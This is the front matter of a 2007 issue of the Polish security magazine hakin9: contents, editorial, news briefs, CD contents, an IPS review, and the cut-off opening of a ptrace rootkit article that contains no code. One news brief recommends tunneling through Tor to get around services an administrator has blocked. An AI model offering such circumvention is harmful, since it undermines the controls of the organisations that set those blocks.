background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 1/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Piotr Konieczny

Piotr  przedstawia  garść  najciekawszych  wiadomo-

ści  ze  świata  bezpieczeństwa  systemów  informa-

tycznych.

Zawartość CD – hakin9.live

Emilia Godlewska

Emilia opisuje zawartość i sposób działania najnow-

szej  wersji  naszej  sztandarowej  dystrybucji  haki-

n9.live

Sprzęt

IPS Broad Web NetKeeper

Jakub Wojnowski

Kuba  przetestował  narzędzie  dystrybuowane  przez 

Dagmę. Przedstawia w jaki sposób urządzenie zneu-

tralizowało przeprowadzone ataki.

Atak

Hakowanie aplikacji - 

Rootkity i Ptrace

Stefan Klaas

Stefan  uczy  jak  rozumieć  wywołanie  systemo-

we ptrace() oraz w jaki sposób używać go w celu 

zmiany przepływu sterowania uruchomionych pro-

gramów poprzez wstrzykiwanie własnych instrukcji 
do pamięci procesu.

Schellcody nowej generacji

Itzik Kotler

Itzik  opisuje  przeszkody  jakie  spotyka  n  apastnik  pró-

bujący  uruchomić  kod  powłoki  na  systemie  będącym 

celem ataku oraz jak wyglądają sposoby obejścia tych 

przeszkód.

10

06

08

12

26

Co dwie głowy to nie jedna 

a co w przypadku kiedy 

tych głów jest więcej?

O

ddajemy  Wam  do  rąk  pierwszy  numer  Hakin9u 

miesięcznika. Nie będziecie musieli już czekać na 

Wasze ulubione pismo aż dwa miesiące tylko mie-

siąc a zatem w ciągu roku będzie dwa razy więcej do poczy-

tania. To dobra wiadomość, którą nagradzamy wszystkich 

tych czytelników, którzy są z nami od początku.

Pracujemy  również  nad  poprawieniem  jakości  dla-

tego  specjalnie  dla  Was  tworzymy  Radę  Programową. 

W  zespole  mamy  już  Macieja  Szmita.  Jest  członkiem 

International  Computer  Games  Association,  Naukowego 

Towarzystwa Informatyki Ekonomicznej, Polskiego Towa-

rzystwa  Informatycznego  oraz    Polskiego  Towarzystwa 

Użytkowników Produktów Novella.

Jego  dorobek  publikacyjny  obejmuje  osiemdziesiąt 

publikacji  (w  tym  ponad  dwudzieścia  publikacji  nauko-

wych,  autorstwo  trzech  i  współautorstwo  dwóch  ksią-

żek oraz kilku rozdziałów w monografiach). Od 1996 roku 

współpracuje z Wydawnictwem Software jako autor szere-

gu artykułów publikowanych w pismach „Boston IT Securi-

ty Review”, „Software Developer’s Journal” oraz „Hakin9” 

(w edycjach: polskiej, czeskiej, francuskiej, hiszpańskiej, 

angielskiej, włoskiej i niemieckiej), recenzent oraz redak-

tor  prowadzący  numerów  poświęconych  sztucznej  inte-

ligencji  (numer  z  lutego  2004  wydany  w  języku  polskim 

oraz numer Software Extra z lipca 2004 wydany w języ-

kach: polskim, hiszpańskim, niemieckim i francuskim). 

Do Rady Programowej zapraszamy wybitne osobistości 

by  decydowały  o  najlepszych  materiałach,  które  z  miesią-

ca na miesiąc będziemy Wam przekazywać. Jeżeli chcecie 

rekomendować kogoś do Rady Programowej Hakin9u pisz-

cie do nas.

Jak zwykle ciekawi jesteśmy Waszych opinii. Piszcie 

śmiało: pl.@hakin9.org i do zobaczenia już za miesiąc.

Sylwia Pogroszewska

http://www.buyitpress.com

background image

4

www.hakin9.org

hakin9 Nr 1/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Huby w pajęczynach 

i złośliwe m-routery

Maciej Szmit, Mariusz Tomaszewski

Maciek i Mariusz przedstawiają zapobieganie złośli-
wym m-routerom, omawiają ich wady.

Wszystko o NAT

Konrad Malewski

Konrad wyjaśnia metody, dzięki którym można utwo-

rzyć połączenie pomiędzy komputerami znajdujący-
mi się w różnych sieciach lokalnych.

Snort_inline

Pierpaolo Palazzoli, Matteo Valenza

Pierpaolo  i  Matteo  omawiają  działanie  Snort_inline
i podstawy zapobiegania włamaniom do systemów.

Rozwiązania DTM

Łukasz Bromirski 

Łukasz  prezentuje  jak  wygląda  architektura  DTM 

Cisco  oraz  jakie  elementy  powinieneś  zastosować

w Sieci, by rozwiązanie spełniało swoje zadanie.

Wywiad

Peter Fleischer

Marta Ogonek

Peter  Fleischer,  kieruje  pracami  Google  w  zakresie 

ochrony prywatności w regionie EMEA.

Zapowiedzi

Emilia Godlewska

Emiia zapowiada artykuły, które znajdą się w następ-

nym wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Redaktor naczelny: 
Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor: Emilia Godlewska 

Tłumaczenie: Rafał Kocisz

Wyróżnieni betatesterzy: Łukasz Witczak, Mateusz Lipiński,

Bartosz Sidzina

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Sławomir Zadrozny slawekz@software.com.pl

Artur Wieczorek arturw@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o., 

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych 

pism prosimy o kontakt:

Monika Godlewska

e-mail: monikag@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi 

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na 

towarzyszących mu nośnikach informacje i programy były poprawne, 

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; 

nie gwarantuje także poprawnego działania programów shareware, 

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich 

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit 

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej 

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem 

na jego szkodę i skutkuje odpowiedzialnością sądowa.

hakin9  ukazuje  się  w  następujących  krajach:  Hiszpanii,  Argentynie, 

Portugalii,  Francji,  Belgii,  Luksemburgu,  Kanadzie,  Maroko,  Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy  również  sprzedaż  kioskową  w  innych  krajach  europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

 

  ES 

   CZ             EN       

IT                FR            DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie 
we własnych sieciach lokalnych.
Redakcja  nie  ponosi  odpowiedzialności  za  niewłaściwe  użycie 
prezentowanych technik ani spowodowaną tym utratę danych.

70

58

78

82

42

36

background image

W skrócie

hakin9 Nr 1/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 1/2007

Ekstradycja UFO-hackera

Gary  McKinnon,  brytyjski  niedo-

szły fryzjer i script-kiddie, który po-

nad rok temu włamał się na serwe-

ry Pentagonu, może zostać potrak-

towany jako terrorysta. Wielka Bry-

tania podpisała zgodę na jego eks-

tradycję do USA.

Gary złożył już apelację, twierdząc, 

że  Amerykanie  sfabrykowali  więk-

szość  dowodów  w  jego  sprawie. 

Dziwnym trafem, wycena strat spo-

wodowanych  przez  intruza  na  każ-

dym  z  serwerów  równa  była  kwo-

cie 5 tys. dolarów, czyli wartości, od 

której wedle amerykańskiego prawa 

można ubiegać się o ekstradycję.

McKinnon,  za  pomocą  pożyczo-

nego od byłej dziewczyny kompute-

ra, spenetrował kilkanaście serwe-

rów należących do rządu USA. We 

włamaniach pomogły mu znalezio-

ne w sieci programy.

Motywem, jakim kierował się Ga-

ry, było poszukiwanie dowodów na 

istnienie cywilizacji pozaziemskiej 

oraz  materiałów  świadczących

o wykorzystywaniu przez USA na-

pędów antygrawitacyjnych.

McKinnon,  w  kilkunastu  wywia-

dach udzielonych od momentu jego 

schwytania,  opowiadał  o  fatalnym 

stanie zabezpieczeń na serwerach 

rządowych  USA.  Gary  miał  pozy-

skiwać  tajne  informacje  wojskowe 

forsując  tak  zaawansowane  barie-

ry, jak na przykład puste hasła ad-

ministratora. Anglika zgubił fakt po-

zostawienia notki informującej o lu-

kach  w  zabezpieczeniach,  wprost 

na  pulpicie  rządowej  maszyny,  do 

której udało mu się dostać.

Nokia i Snort

Fiński  koncern  Nokia  poinformował 

o nawiązaniu współpracy z firmą So-

urcefire,  producentem  powszechnie 

znanego  wśród  specjalistów  od  za-

bezpieczeń narzędzia Snort.

Nokia działa nie tylko na rynku te-

lefonii  komórkowej.  Firma  dostar-

cza  także  zintegrowane  platformy 

zabezpieczeń sieci. 

Snort to opensource'owy program, 

którego  zadaniem  jest  monitorowa-

nie  i  analiza  ruchu  sieciowego  pod 

kątem symptomów charakterystycz-

nych dla włamań. Jego twórca, Mar-

tin  Roesch,  nie  ukrywał,  że  oferty 

współpracy składały mu (oprócz No-

kii)  także  inne,  znane  w  sieciowym 

światku firmy, z Cisco na czele. Za-

pewnia, że wybrana oferta jest naj-

korzystniejszą nie tylko dla niego, ale

i dla Snorta.

Luka, której nie było?

T

egoroczna  konferencja  ToorCon 
zostanie  w  pamięci  nie  tylko  jej 

uczestników, ale także milionów użyt-
kowników przeglądarki Firefox. Dwój-
ka  prelegentów,  Andrew  Wbeelsoi
i  Mischa  Spiegelmock,  oświadczy-
ła  podczas  swojego  wykładu,  że  jest
w posiadaniu exploita na poważną lu-
kę w przeglądarce Firefox. Z racji po-
pularności,  jaką  cieszy  się  ta  prze-
glądarka  internetowa,  systematycz-
nie  „przeciągająca”  na  swoją  stronę 
coraz  więcej  użytkowników  Internet 
Explorera, wiadomość o dziurze odbi-
ła się głośnym echem po całym inter-
necie. Przez kilka dni serwisy informa-
cyjne jak i blogosfera trąbiły o domnie-
manych  błędach  w  Firefoksie  i  jako-
by  fatalnym  stanie  implementacji  ca-
łej obsługi JavaScript. Oliwy do ognia 
dolewał brak pełnego kodu eksploita. 
Hackerzy w czasie swojej prezentacji 
ujawnili jedynie jego fragmenty.

Nie  ma  się  co  dziwić,  że  najbar-

dziej zdenerwowało to odpowiedzial-
nych za bezpieczeństwo przeglądarki 
pracowników fundacji Mozilla. Szefo-
wa  Mozilli  ds.  bezpieczeństwa,  Win-
dow  Synder,  mimo  iż  podejrzewała 
opisaną dziurę jako wariant jednej ze 
znanych już luk, oświadczyła, że nie-
odpowiedzialnym  jest  podawanie  te-
go  typu  informacji  opinii  społecznej, 
gdyż  zachodzi  ryzyko  niemalże  na-
tychmiastowego  wykorzystania  dziu-
ry przez cyberprzestępców.

Jakby tego było mało, w czasie pre-

zentacji  wspomniano  o  istnieniu  ko-

lejnych  trzydziestu  błędów  w  przeglą-
darce Firefox. Co więcej, hackerzy nie 
zamierzali  ich  ujawniać.  Nie  ukrywali 
również,  że  mają  zamiar  wykorzystać 
znalezione błędy we własnych celach 
(sic!).  Andrew  i  Mischa  odrzucili  tym 
samym ofertę Mozilli, która za znalezie-
nie poważnego błędu w kodzie Firefok-
sa płaci programistom 500 dolarów.

Wkrótce  po  burzy,  jaka  rozpętała 

się  w  mediach,  nadszedł  czas  skru-
chy.  Mischa  wystosował  oświadcze-
nie,  w  którym  przeprosił  wszystkich 
za  zamieszanie  wywołane  prezenta-
cją.  Hacker  podkreślał,  że  prezenta-
cja  miała  być  w  dużej  mierze  humo-
rystyczna.  Mischa  przyznał  także,  iż 
pomimo  wielu  prób  nie  udało  mu  się 
przedstawionej  na  konferencji  dziury 
wykorzystać  do  zdalnego  wykonania 
kodu, a następnie zaprzeczył, jakoby 
był  w  posiadaniu  informacji  dotyczą-
cych 30 kolejnych dziur w kodzie Fire-
foksa. Zarówno Mischa jak i Window 
potwierdzili, że odpowiednie wykorzy-
stanie luki powoduje nagłe zamknięcie 
przeglądarki  i  wyczerpanie  zasobów 
maszyny,  a  sama  dziura  była  wcze-
śniej znana programistom Mozilli.

W  całym  tym  zamieszaniu  nale-

ży pochwalić szybką reakcje pracow-
ników  Mozilli,  którzy  nie  zlekcewa-
żyli  możliwości  zagrożenia  i  błyska-
wicznie podjęli procedury dążące do 
wyjaśnienia  całej  sprawy,  działając 
zgodnie z przekonaniem, że bezpie-
czeństwo użytkowników jest najważ-
niejsze.

Uważaj na hakerów odbierając SMS

K

omenda  Główna  Policji  na  stro-
nach  internetowych  zaczęła 

ostrzegać  obywateli  przed  phishin-
giem.  Akcja  przeprowadzana  przez 
policję jest profesjonalna, a co więcej, 
materiały zostały napisany w sposób 
łatwy  do  przyswojenia  nawet  przez 
mniej  zaawansowanych  użytkowni-
ków  komputera.  Policjanci  porusza-
ją  tematy  podrobionych  stron  banko-
wych  i  metod,  jakimi  cyberprzestęp-
cy starają się zachęcić nas do poda-
nia  im  prawdziwych  danych.  Oprócz 

standardowego  wysyłania  e-maili
zachęcających  do  kliknięcia  w  lin-
ki, funkcjonariusze opisali także nowe 
metody przestępców bazujące na ko-
munikacji  przez  telefon  –  i  chodzi  tu 
zarówno o rozmowę, jak i przesyłanie
wiadomości  SMS.  Policja  wypunkto-
wała  także  listę  dobrych  zwyczajów, 
których przestrzeganie powinno zaosz-
czędzić  internautom  wielu  kłopotów. 
Więcej  szczegółów  na  stronie  http://

www.policja.pl/index.php?dzial=1&id

=3405

background image

W skrócie

hakin9 Nr 1/2007

www.hakin9.org

6

W skrócie

www.hakin9.org

7

hakin9 Nr 1/2007

Usuń sobie DRM

Od złamania systemu MS DRM (Mi-

crosoft  Digital  Rights  Management) 

przez  hackera,  przedstawiającego 

się jako Beale Screamer minęło już 

kilka lat. W tym czasie system DRM 

doczekał się kolejnych wersji, popra-

wiających  niedociągnięcia.  Jednak 

ostatnio w sieci pojawił się program 

FairUse4WM służący do zdejmowa-

nia zabezpieczeń z plików muzycz-

nych  chronionych  DRM-em  w  wer-

sji 10 i 11. Graficzny interfejs aplika-

cji sprawia, że zabezpieczenia przed 

kopiowaniem mogą zdejmować oso-

by  nieposiadające  specjalistycznej 

wiedzy na temat DRM.

Viodentia, autor programu, nie za-

chęca do piractwa i oświadczył, ze 

narzędzie  powstało,  by  umożliwić 

użytkownikom  kopiowanie  muzy-

ki  z zabezpieczonych  plików  w  ra-

mach dozwolonego prawem użytku 

prywatnego.  Jest  to  bunt  przeciw-

ko  serwisom  muzycznym,  zwłasz-

cza tym, które sprzedają prawa do 

słuchania utworów, ale tylko wtedy, 

kiedy  użytkownik  posiada  aktywne 

(obarczone  comiesięczną  opłatą) 

konto w serwisie.

Innego  zdania  jest  Microsoft, 

który  złożył  pozew  przeciwko  au-

torowi  oprogramowania  usuwają-

cego DRM. Co ciekawe, Microsoft 

oskarża hakera nie o złamanie za-

bezpieczeń,  ale  o  nielegalne  po-

zyskanie  kodu  źródłowego  pro-

duktów  Microsoftu,  bez  którego 

–  zdaniem  firmy  –  Viodencie  nie 

udałoby się złamać DRM.

Dziurawe OpenSSL

Wraz z końcem września udostęp-

niono łaty na cztery luki w znanym 

pakiecie OpenSSL.

Jak donoszą specjaliści do spraw 

bezpieczeństwa, dwie ze znalezio-

nych  dziur  są  poważne.  Pierwsza 

dotyczy  błędu  w  praserze ASN.1, 

który za pomocą specjalnego kodu 

można wprowadzić w nieskończo-

ną  pętle,  zużywając  tym  samym 

całkowite zasoby pamięci.

Druga  poważna  luka  to  błąd

w funkcji SSL_get_shared_ciphers 

umożliwiający  atak  przepełnienia 

buforu. Trzecia, mniej groźna dziu-

ra dotyczy złej konfiguracji serwe-

ra OpenSSL, mogącej wpłynąć na 

niestabilność pracy klienta.

Administratorów  serwerów  korzy-

stających  z  OpenSSL  zachęcamy 

do  jak  najszybszego  zainstalowa-

nia  poprawek  dostępnych  na  stro-

nie http://www.openssl.org/.

Policja zatrzymała serwery TOR

T

he  Onion  Routing  to  stworzona 
przez Electronic Frontiers Founda-

tion sieć niekomercyjnych, często pry-
watnych serwerów, tworzących wirtual-
ną sieć połączeń i umożliwiająca swo-
im użytkownikom anonimowe korzysta-
nie z zasobów Internetu. TOR wykorzy-
stywany jest przez dziennikarzy lub dy-
sydentów w celu ominięcia cenzury lub 
zatarcia  za  sobą  śladów  po  publika-
cji  niewygodnych  wiadomości.  Z  sieci 
TOR  korzystają  także  agencje  rządo-
we, które obserwując pewne strony in-
ternetowe, nie chcą w logach pozosta-
wiać śladu swojego adresu IP. Niemiec-
ka policja, prowadząca dochodzenie w 
sprawie dziecięcej pornografii, w cza-
sie  jednego  z  przeszukań  zatrzyma-
ła także sześć serwerów działających 
w systemie TOR. Jak donoszą opera-
torzy  przejętych  przez  policję  serwe-
rów, nie zostali oni zatrzymani, ani nie 
postawiono  im  zarzutów.  Początko-
wo media informowały, że najazd poli-
cji wymierzony był również w sieć TOR, 
postrzeganą przez niektórych jako nie-
wygodny (bo nie dający łatwo zidenty-

fikować użytkownika) zalążek anarchii 
w sieci. Opiekunowie projektu zdemen-
towali  jednak  te  pogłoski,  tłumacząc, 
że najprawdopodobniej jeden z tropio-
nych przez policję pedofilów mógł wy-
korzystać  TOR  do  zestawienia  połą-
czenia. TOR posiada także inną, ma-
ło znaną zaletę. Korzystając z jego za-
sobów, przy odpowiedniej konfiguracji 
klienta,  możemy  ominąć  restrykcje  fi-
rewalla  naszej  sieci.  Jeśli  tylko  mamy 
dostęp do portu 80 – możemy tunelo-
wać połączenia dla usług działających 
na  innych  portach  –  np.  Jabbera  lub 
SSH. Czasem – trzeba przyznać – na-
wet na bardzo dobrym łączu nie jest to 
szybkie  rozwiązanie,  gdyż  cebulowy 
routing  implementowany  przez  TOR 
i  połączenia  przekazywane  przez  kil-
ka serwerów dodają sporo opóźnienia 
do ruchu pakietów. Ale coś za coś – je-
śli administrator zablokował nam jakąś 
usługę – na przykład połączenia FTP, 
a my koniecznie musimy z niej skorzy-
stać – warto przecierpieć opóźnienia w 
ruchu i powolny transfer, by móc w koń-
cu użyć upragnionej usługi.

W

e  wrześniu  amerykański  sąd 
okręgowy  w  Illinois  nakazał 

właścicielom  Spamhaus.org  wypła-
tę  niebagatelnej  kwoty  11  mln  dola-
rów  odszkodowania  na  rzecz  firmy 
e360insight, która wg ustaleń wymia-
ru sprawiedliwości niesłusznie znala-
zła się na liście spamerów tworzonej 
przez Spamhaus. Spamhaus nie wy-
płacił  odszkodowania,  ponieważ  fir-
ma nie znajduje się w Stanach Zjed-
noczonych a na terenie Wielkiej Bry-
tanii,  zatem  wyroki  sądu  w  USA  jej 
nie  dotyczą.  Co  więcej,  Spamhaus 
nie usunęła firmy e360insight ze swo-
ich  list.  Paradoksalnie,  bezsilność 
amerykańskiego wymiaru sprawiedli-
wości zmotywowała go do działania. 
Sąd postanowił złożyć wniosek o za-
wieszenie domeny spamhaus.org do 
organizacji  ICANN,  ta  jednak  oznaj-
miła,  że  nie  jest  stroną  w  sporze
i nie ma obowiązku wykonywać żad-
nych sugestii sądu. Chęć zniszczenie 

Kto tu jest spamerem?

Spamhaus  dziwi  niektórych  specjali-
stów  do  spraw  bezpieczeństwa.  Są 
oni zdania, że niedostępność list spo-
rządzanych  przez  Spamhaus  może 
spowodować  zalew  milionów  skrzy-
nek  pocztowych  niechcianą  pocztą, 
która obecnie – właśnie dzięki listom 
– jest blokowana.

Całą  akcję  wymiaru  sprawiedli-

wości oceniają jako elektroniczne sa-
mobójstwo, zwłaszcza, że ze Spam-
haus.org  korzysta  wiele  znanych  or-
ganizacji,  w  tym  także  Biały  Dom 
czy  amerykańskie  siły  zbrojne.  Od-
miennego  zdania  są  naukowcy,  któ-
rzy  przy  ocenie  sytuacji  uwzględnili 
ogrom  informatycznej  wiedzy  posia-
danej  przez  administratorów  korzy-
stających  z  baz  Spamhaus.  Uczeni 
sądzą, że nawet po zamrożeniu stro-
ny WWW oskarżonej organizacji, ko-
rzystający z jej usług administratorzy 
szybko  znajdą  inne  strony  udostęp-
niające do pobrania te same listy.

background image

hakin9.live

hakin9 Nr1/2007

www.hakin9.org

8

N

a dołączonej do pisma płycie znajduje się hakin9.
live (h9l) w wersji 3.1-aur – bootowalna dystry-
bucja  Auroxa,  zawierająca  przydatne  narzę-

dzia, dokumentację, tutoriale i materiały dodatkowe do 
artykułów. Aby zacząć pracę z hakin9.live, wystarczy 
uruchomić komputer z CD1. Po uruchomieniu systemu 
możemy zalogować się jako użytkownik hakin9 bez po-
dawania hasła.

Materiały  dodatkowe  zostały  umieszczone  w  nastę-

pujących katalogach:

•   tut – 24 tutoriale w tym jeden nowy: „Sieci nie lokalne”;
•   Aurox-Live;
•   HIT – Outpost PRO Firewall, Qengine Issue Manager 

4.0, Kaspersky Anti-Spam 3.0;

•   applications – programy;
•   doc – indeks;
•   pdf – materiały archiwalne oraz e-books.

Materiały archiwalne zostały umieszczone w podkatalo-
gach _arch. W przypadku przeglądania płyty z poziomu 
uruchomionego  hakin9.live  powyższa  struktura  jest  do-
stępna z podkatalogu /mnt/cdrom.

Wersję  hakin9.live  3.1-aur  zbudowaliśmy,  opiera-

jąc się o dystrybucję Aurox i skrypty automatycznej ge-
neracji (www.aurox.org/pl/live). Narzędzia dystrybucji, 
które nie znajdują się na dołączonej do pisma płycie, 
instalowane są z repozytorium Auroxa za pomocą pro-
gramu yum.

W  porównaniu  z  hakin9.live  2.9.1-ng  zasadniczą 

zmianą  jest  oparcie  systemu  na  dystrybucji  Aurox  Li-
ve 11.1. oraz przejście z Fluxboksa na środowisko gra-
ficzne KDE.

Tutoriale i dokumentacja

W  skład  dokumentacji,  oprócz  standardowych  dla  Li-
nuksa stron pomocy (stron manualna), z których sko-
rzystać  możemy  poprzez  konsolę  wydając  polecenie 
man [nazwa programu], wchodzą między innymi tuto-
riale, przygotowane przez redakcję.

Na  CD  opracowane  zostały  praktyczne  ćwiczenia 

do  jendego  artykułu  –  Sieci  nie  lokalne,  który  można 
przeczytać w piśmie. Zakładamy, że podczas wykony-
wania  ćwiczeń  związanych  z  artykułami  i  tutorialami, 
użytkownik  korzysta  z  hakin9.live.  Dzięki  temu  unik-
nie  problemów  związanych  z  różnymi  wersjami  kom-
pilatorów, inną lokalizacją plików konfiguracyjnych czy 
opcjami niezbędnymi do uruchomienia programu w da-
nym środowisku. hakin9.live został przygotowany pod 
kątem  tych  ćwiczeń  i  zawiera  wszystkie  wymagane 
aplikacje.

Zawartość CD

Qengine IssueManager 4.0

QIM jest stuprocentowo webowym oprogramowaniem 
do  zarządzania  rozwiązywaniem  problemów,  które 
oferuje funkcjonalność zarządzania poprawianiem błę-
dów, zarządzania projektem, ulepszeniami, defektami 
i elementy zarządzania zadaniami. Dostarcza kontro-
le dostępu zależna od roli w projekcie, obsługę załącz-
ników, zarządzanie terminarzem, automatyczne notyfi-
kacje przez emalia. Zarządzanie czasem pracy, reguły 
biznesowe, aktywna identyfikacji w kartotece, dołącza-
nie zrzutów ekranu, łatwe raportowanie i szerokie moż-
liwości dostosowań.

Outpost PRO Firewall

Outpost  Firewall  jest  osobistym  systemem  zaporo-
wym chroniącym komputer użytkownika przed ataka-
mi  podczas  połączenia  z  Internetem  (ataki  hakerów, 
włamania, konie trojańskie itp.). Dodatkowy moduł an-
tyspyware chroni w czasie rzeczywistym przed ataka-
mi programów szpiegowskich. Program jest dostępny 
w polskiej wersji językowej.

Outpost  kontroluje  zarówno  połączenia  przycho-

dzące  jak  i  wychodzące,  dzięki  czemu  każda  pró-
ba  kradzieży  poufnych  danych  będzie  zablokowana.
W sieci firmowej zapewnia szczególną ochronę notebo-
oków, wynoszonych zwykle poza obręb firmy i łączących 
się z Internetem z niechronionych lokalizacji. Outpost po-
zwala  również  na  blokowanie  dostępu  do  określonych 
stron internetowych (według adresu lub treści strony).

Specjalny  moduł  „Ochrona  prywatnych  informacji” 

blokuje wysłanie poufnych danych zapewniając dodatko-
wą ochronę haseł do kont bankowych lub numerów kart 
kredytowych.  Zaawansowanym  użytkownikom  Outpost 
pozwala na konfigurowanie dowolnych reguł oraz posze-
rzanie  funkcjonalności  poprzez  dodatkowe  wtyczki  (np. 
blokowanie reklam).

Kaspersky Anti-Spam 3.0

Kaspersky Anti-Spam chroni przed niechcianą korespon-
dencją elektroniczną (spamem). Pozwala na wyelimino-
wanie niechcianych wiadomości e-mail z ruchu poczto-
wego.  Rozwiązanie  wykorzystuje  inteligentną  technolo-
gię wykrywania spamu i powstało na bazie wieloletnie-
go doświadczenia ekspertów z Kaspersky Lab w projek-
towaniu systemów chroniących ruch pocztowy w środo-
wiskach  korporacyjnych.  Kaspersky  Anti-Spam  walczy 
ze  spamem  korzystając  z  wielopoziomowego  filtrowa-
nia wiadomości e-mail. Analiza lingwistyczna może auto-
matycznie przetwarzać wiadomości i odrzucać niechcia-
ną korespondencję. Ponadto rozwiązanie jako jedyne na 
rynku analizuje spam powstający w języku rosyjskim.

background image

hakin9 Nr 1/2007

www.hakin9.org

9

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie,  sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

background image

10

Sprzęt

hakin9 Nr 1/2007

www.hakin9.org

Urządzenie Broad Web Netkeeper, bo o nim mowa jest 
systemem  IPS  (Intrusion  Prevention  System).  Oznacza 
to dokładnie tyle, że podobnie jak rozwiązania typu IDS, 
NetKeeper potrafi wykrywać ataki, w odróżnieniu jednak 
od systemów IDS potrafi również te ataki automatycznie 
blokować. Jest zatem połączeniem klasycznych IDS'ów 
z firewallem.

Istnieje jednak różnica pomiędzy sposobem filtrowa-

nia pakietów przez NetKeepera a zwykły firewall. Więk-
szość zapór ogniowych filtruje ruch w sieci na podsta-
wie  informacji  o  pakietach:  adres  źródłowy,  docelowy, 
port,  protokół,  nie  mają  natomiast  wpływu  zawartość 
pakietów (wynika to z faktu, że działają na 4 warstwie 
system  OSI).  Netkeeper  natomiast  potrafi  kontrolować 
ruch  w  sieci  na  podstawie  zawartości  poszczególnych 
pakietów, dzięki czemu jest w stanie wykryć np. exploity 
i złośliwe robaki i wirusy internetowe.

Sercem NetKeepera jest dedykowany procesor firmy 

BroadWeb,  dzięki  któremu  jest  on  w  stanie  obsłużyć 
nawet sieci o bardzo dużych przepustowościach.

NetKeeper pracuje w trybie in-line dzięki czemu nie 

ma możliwości pominięcia przez niego żadnego pakietu 
w sieci. Sprawia to, że skutecznie radzi on sobie z ataka-
mi np. SQL Slammer.

System  stosuje  różne  metody  identyfikacji  ataków: 

np. na podstawie analizy statystycznej czy z wbudowa-
nej bazy sygnatur ataków. Urządzenie posiada również 
proste narzędzie do tworzenia własnych sygnatur.

NetKeeper  filtruje  ruch  na  podstawie  predefiniowa-

nych  polityk.  Posiada  on  ok  dwóch  tysięcy  zdefiniowa-
nych reguł, na podstawie których można budować polity-
kę bezpieczeństwa sieci.

Urządzenie  posiada  również  możliwość  blokowa-

nia  aplikacji  typu  peer-to-peer  oraz  instant  messaging
i dostępu do wybranych przez administratora usług (np. 
chat) i stron internetowych.

O  skuteczności  produktu  świadczy  zresztą  fakt,  że 

NetKeeper  jako  jeden  z  pierwszych  uzyskał  prestiżo-
wy certyfikat ICSA Labs potwierdzający zaawansowane 
możliwości ochrony sieci firmowej przed włamaniami.

Podczas  testów  urządzenie  zneutralizowało 

wszystkie  z  przeprowadzanych  ataków,  w  tym  ataki 
typu  DoS.  Zestaw  narzędzi  użyty  do  testów  zawie-

rał‚  m.in.  Tomahawk  narzędzie  służące  do  testowa-
nia urządzeń IPS, zestaw testów penetracyjnych Core 
Impact,  oraz  skrypty  specjalnie  przygotowane  przez 
programistów ICSA. Ataki ukryte zostały w tysiącach 
gigabajtów legalnego ruchu kierowanego na serwery 
Cybertrust przez jego partnerów handlowych, którzy 
wzięli udział w teście.

Reasumując NetKeeper jest bardzo udanym produktem, 

godnym polecenia każdemu ceniącemu sobie bezpieczeń-
stwo administratorowi sieci. Do plusów NetKeepera należy z 
pewnością zaliczyć pracę w trybie in-line, analizę zawartości 
pakietów i dużą liczbę wykrywanych ataków oraz mnogość 
zdefiniowanych reguł filtrowania ruchu. 

Producentem urządzenia NetKeeper jest firma Bro-

adWeb  (http://www.broadweb.com/)  a  dystrybutorem 
na Polskę jest Dagma (http://www.dagma.pl). 

Aurox Core Team przetestował urządzenie IPS Broad Web NetKeeper, które 
służy ochronie oraz podniesieniu bezpieczeństwa Sieci.

Recenzja urządzenia 

IPS Broad Web NetKeeper

W Sieci

Pełny raport z przeprowadzonych przez ICSA testów znajdu-
je się pod adresem:

http://www.icsalabs.com/icsa/docs/html/communities/nips/
certifiedproducts/BroadWeb_NetKeeper_3256P_NIPS_
report_060626.pdf 

background image
background image

www.hakin9.org

hakin9 Nr 1/2007

12

Atak

D

otychczas  nie  znaliśmy  zbyt  wie-
le  dostępnych  publicznie  funkcji 
nadpisujących  kod.  Jest  trochę  ko-

du  w  „podziemiu”,  który  nie  jest  publicznie 
udostępniony  z  powodu  przeterminowania 
(10.2006)  i  nie  ma  też  dobrych  dokumen-
tów  opisujących  tą  technikę,  dlatego  obja-
śnię  ją.  Jeśli  znasz  już  ptrace(),  ten  arty-
kuł  powinien  Cię  również  zainteresować, 
bo  zawsze  to  dobrze  jest  się  nauczyć  no-
wych rzeczy, nieprawdaż? Czy to nie fajnie 
móc wstawiać furtki prawie każdego rozmia-
ru do pamięci dowolnego procesu, zmienia-
jąc jego wykonanie, nawet na niewykonywal-
ną  część  stosu?  Zatem  czytaj  czytaj  dalej, 
bo  przedstawię  w  szczegółach,  jak  to  zro-
